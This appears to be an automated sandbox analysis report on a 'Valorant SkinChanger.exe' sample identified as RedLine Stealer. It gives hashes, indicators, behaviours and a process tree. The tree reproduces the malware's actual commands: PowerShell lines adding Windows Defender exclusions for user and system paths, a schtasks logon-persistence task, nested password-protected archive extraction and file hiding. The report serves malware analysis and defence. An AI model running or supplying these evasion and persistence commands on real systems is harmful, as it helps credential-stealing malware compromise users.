Analysis
- max time kernel
118s - max time network
148s - platform
windows7_x64 - resource
win7-en-20210920 - submitted
23/10/2021, 15:59
Static task
static1
Behavioral task
behavioral1
Sample
Valorant SkinChanger.exe
Resource
win7-en-20210920
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Valorant SkinChanger.exe
Resource
win10-en-20211014
0 signatures
0 seconds
General
- Target Valorant SkinChanger.exe
- Size 2.3MB
- Sample211023-te3beadcfn
- SHA256 9e3f93ae0a1f76351b69714917b3f1cd965b09e2e696964b28d693c14f71f007
- MD5 2593da293c10bebca0895f0636e56689
- SHA1 27201a2d876de5c1fc1b735f0f671398ebc6f2a5
- SHA512 fa6d250297cf381d5181a81d8efe319cc2f278383e992d98e72823dd37498cd8d04e43e6c8830995f2d8908e09cc2bcd8d1762cf9a2245f5387b2f317f74c469
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 2 IoCs
resource yara_rule behavioral1/files/0x00050000000132d2-114.dat family_redline behavioral1/files/0x00050000000132d2-118.dat family_redline - Downloads MZ/PE file
- Executes dropped EXE 15 IoCs
pid Process 976 7z.exe 1484 7z.exe 1824 7z.exe 1304 7z.exe 1784 7z.exe 1264 7z.exe 1488 7z.exe 1384 7z.exe 1648 7z.exe 2000 7z.exe 1744 7z.exe 960 bild.exe 2008 sys32.exe 1088 services32.exe 1144 sihost32.exe - Loads dropped DLL 28 IoCs
pid Process 1532 cmd.exe 976 7z.exe 1532 cmd.exe 1484 7z.exe 1532 cmd.exe 1824 7z.exe 1532 cmd.exe 1304 7z.exe 1532 cmd.exe 1784 7z.exe 1532 cmd.exe 1264 7z.exe 1532 cmd.exe 1488 7z.exe 1532 cmd.exe 1384 7z.exe 1532 cmd.exe 1648 7z.exe 1532 cmd.exe 2000 7z.exe 1532 cmd.exe 1744 7z.exe 960 bild.exe 960 bild.exe 916 cmd.exe 916 cmd.exe 1328 conhost.exe 1328 conhost.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1948 schtasks.exe - Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 960 bild.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 960 bild.exe 1336 conhost.exe 996 powershell.exe 1816 powershell.exe 1328 conhost.exe 1328 conhost.exe 1416 powershell.exe 1732 powershell.exe - Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeRestorePrivilege 976 7z.exe Token: 35 976 7z.exe Token: SeSecurityPrivilege 976 7z.exe Token: SeSecurityPrivilege 976 7z.exe Token: SeRestorePrivilege 1484 7z.exe Token: 35 1484 7z.exe Token: SeSecurityPrivilege 1484 7z.exe Token: SeSecurityPrivilege 1484 7z.exe Token: SeRestorePrivilege 1824 7z.exe Token: 35 1824 7z.exe Token: SeSecurityPrivilege 1824 7z.exe Token: SeSecurityPrivilege 1824 7z.exe Token: SeRestorePrivilege 1304 7z.exe Token: 35 1304 7z.exe Token: SeSecurityPrivilege 1304 7z.exe Token: SeSecurityPrivilege 1304 7z.exe Token: SeRestorePrivilege 1784 7z.exe Token: 35 1784 7z.exe Token: SeSecurityPrivilege 1784 7z.exe Token: SeSecurityPrivilege 1784 7z.exe Token: SeRestorePrivilege 1264 7z.exe Token: 35 1264 7z.exe Token: SeSecurityPrivilege 1264 7z.exe Token: SeSecurityPrivilege 1264 7z.exe Token: SeRestorePrivilege 1488 7z.exe Token: 35 1488 7z.exe Token: SeSecurityPrivilege 1488 7z.exe Token: SeSecurityPrivilege 1488 7z.exe Token: SeRestorePrivilege 1384 7z.exe Token: 35 1384 7z.exe Token: SeSecurityPrivilege 1384 7z.exe Token: SeSecurityPrivilege 1384 7z.exe Token: SeRestorePrivilege 1648 7z.exe Token: 35 1648 7z.exe Token: SeSecurityPrivilege 1648 7z.exe Token: SeSecurityPrivilege 1648 7z.exe Token: SeRestorePrivilege 2000 7z.exe Token: 35 2000 7z.exe Token: SeSecurityPrivilege 2000 7z.exe Token: SeSecurityPrivilege 2000 7z.exe Token: SeRestorePrivilege 1744 7z.exe Token: 35 1744 7z.exe Token: SeSecurityPrivilege 1744 7z.exe Token: SeSecurityPrivilege 1744 7z.exe Token: SeDebugPrivilege 960 bild.exe Token: SeDebugPrivilege 1336 conhost.exe Token: SeDebugPrivilege 996 powershell.exe Token: SeDebugPrivilege 1816 powershell.exe Token: SeDebugPrivilege 1328 conhost.exe Token: SeDebugPrivilege 1416 powershell.exe Token: SeDebugPrivilege 1732 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 816 wrote to memory of 1532 816 Valorant SkinChanger.exe 28 PID 816 wrote to memory of 1532 816 Valorant SkinChanger.exe 28 PID 816 wrote to memory of 1532 816 Valorant SkinChanger.exe 28 PID 816 wrote to memory of 1532 816 Valorant SkinChanger.exe 28 PID 1532 wrote to memory of 1560 1532 cmd.exe 30 PID 1532 wrote to memory of 1560 1532 cmd.exe 30 PID 1532 wrote to memory of 1560 1532 cmd.exe 30 PID 1532 wrote to memory of 976 1532 cmd.exe 31 PID 1532 wrote to memory of 976 1532 cmd.exe 31 PID 1532 wrote to memory of 976 1532 cmd.exe 31 PID 1532 wrote to memory of 1484 1532 cmd.exe 32 PID 1532 wrote to memory of 1484 1532 cmd.exe 32 PID 1532 wrote to memory of 1484 1532 cmd.exe 32 PID 1532 wrote to memory of 1824 1532 cmd.exe 33 PID 1532 wrote to memory of 1824 1532 cmd.exe 33 PID 1532 wrote to memory of 1824 1532 cmd.exe 33 PID 1532 wrote to memory of 1304 1532 cmd.exe 34 PID 1532 wrote to memory of 1304 1532 cmd.exe 34 PID 1532 wrote to memory of 1304 1532 cmd.exe 34 PID 1532 wrote to memory of 1784 1532 cmd.exe 35 PID 1532 wrote to memory of 1784 1532 cmd.exe 35 PID 1532 wrote to memory of 1784 1532 cmd.exe 35 PID 1532 wrote to memory of 1264 1532 cmd.exe 36 PID 1532 wrote to memory of 1264 1532 cmd.exe 36 PID 1532 wrote to memory of 1264 1532 cmd.exe 36 PID 1532 wrote to memory of 1488 1532 cmd.exe 37 PID 1532 wrote to memory of 1488 1532 cmd.exe 37 PID 1532 wrote to memory of 1488 1532 cmd.exe 37 PID 1532 wrote to memory of 1384 1532 cmd.exe 38 PID 1532 wrote to memory of 1384 1532 cmd.exe 38 PID 1532 wrote to memory of 1384 1532 cmd.exe 38 PID 1532 wrote to memory of 1648 1532 cmd.exe 39 PID 1532 wrote to memory of 1648 1532 cmd.exe 39 PID 1532 wrote to memory of 1648 1532 cmd.exe 39 PID 1532 wrote to memory of 2000 1532 cmd.exe 40 PID 1532 wrote to memory of 2000 1532 cmd.exe 40 PID 1532 wrote to memory of 2000 1532 cmd.exe 40 PID 1532 wrote to memory of 1744 1532 cmd.exe 41 PID 1532 wrote to memory of 1744 1532 cmd.exe 41 PID 1532 wrote to memory of 1744 1532 cmd.exe 41 PID 1532 wrote to memory of 1936 1532 cmd.exe 42 PID 1532 wrote to memory of 1936 1532 cmd.exe 42 PID 1532 wrote to memory of 1936 1532 cmd.exe 42 PID 1532 wrote to memory of 960 1532 cmd.exe 43 PID 1532 wrote to memory of 960 1532 cmd.exe 43 PID 1532 wrote to memory of 960 1532 cmd.exe 43 PID 1532 wrote to memory of 960 1532 cmd.exe 43 PID 960 wrote to memory of 2008 960 bild.exe 45 PID 960 wrote to memory of 2008 960 bild.exe 45 PID 960 wrote to memory of 2008 960 bild.exe 45 PID 960 wrote to memory of 2008 960 bild.exe 45 PID 2008 wrote to memory of 1336 2008 sys32.exe 46 PID 2008 wrote to memory of 1336 2008 sys32.exe 46 PID 2008 wrote to memory of 1336 2008 sys32.exe 46 PID 2008 wrote to memory of 1336 2008 sys32.exe 46 PID 1336 wrote to memory of 1324 1336 conhost.exe 47 PID 1336 wrote to memory of 1324 1336 conhost.exe 47 PID 1336 wrote to memory of 1324 1336 conhost.exe 47 PID 1324 wrote to memory of 996 1324 cmd.exe 49 PID 1324 wrote to memory of 996 1324 cmd.exe 49 PID 1324 wrote to memory of 996 1324 cmd.exe 49 PID 1336 wrote to memory of 544 1336 conhost.exe 50 PID 1336 wrote to memory of 544 1336 conhost.exe 50 PID 1336 wrote to memory of 544 1336 conhost.exe 50 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1936 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe"C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Windows\system32\mode.commode 65,103⤵PID:1560
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p___________29783pwd19393pwd12772pwd8909pwd27852pwd25744pwd14383___________ -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:976
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_10.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1484
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_9.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_8.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1304
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1784
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1264
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1488
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1384
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1744
-
-
C:\Windows\system32\attrib.exeattrib +H "bild.exe"3⤵
- Views/modifies file attributes
PID:1936
-
-
C:\Users\Admin\AppData\Local\Temp\main\bild.exe"bild.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Users\Admin\AppData\Local\Temp\sys32.exe"C:\Users\Admin\AppData\Local\Temp\sys32.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\sys32.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:996
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1816
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"6⤵PID:544
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"7⤵
- Creates scheduled task(s)
PID:1948
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\services32.exe"6⤵
- Loads dropped DLL
PID:916 -
C:\Users\Admin\services32.exeC:\Users\Admin\services32.exe7⤵
- Executes dropped EXE
PID:1088 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"8⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1328 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit9⤵PID:1836
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"10⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1416
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"10⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"9⤵
- Executes dropped EXE
PID:1144 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "/sihost32"10⤵PID:1272
-
-
-
-
-
-
-
-
-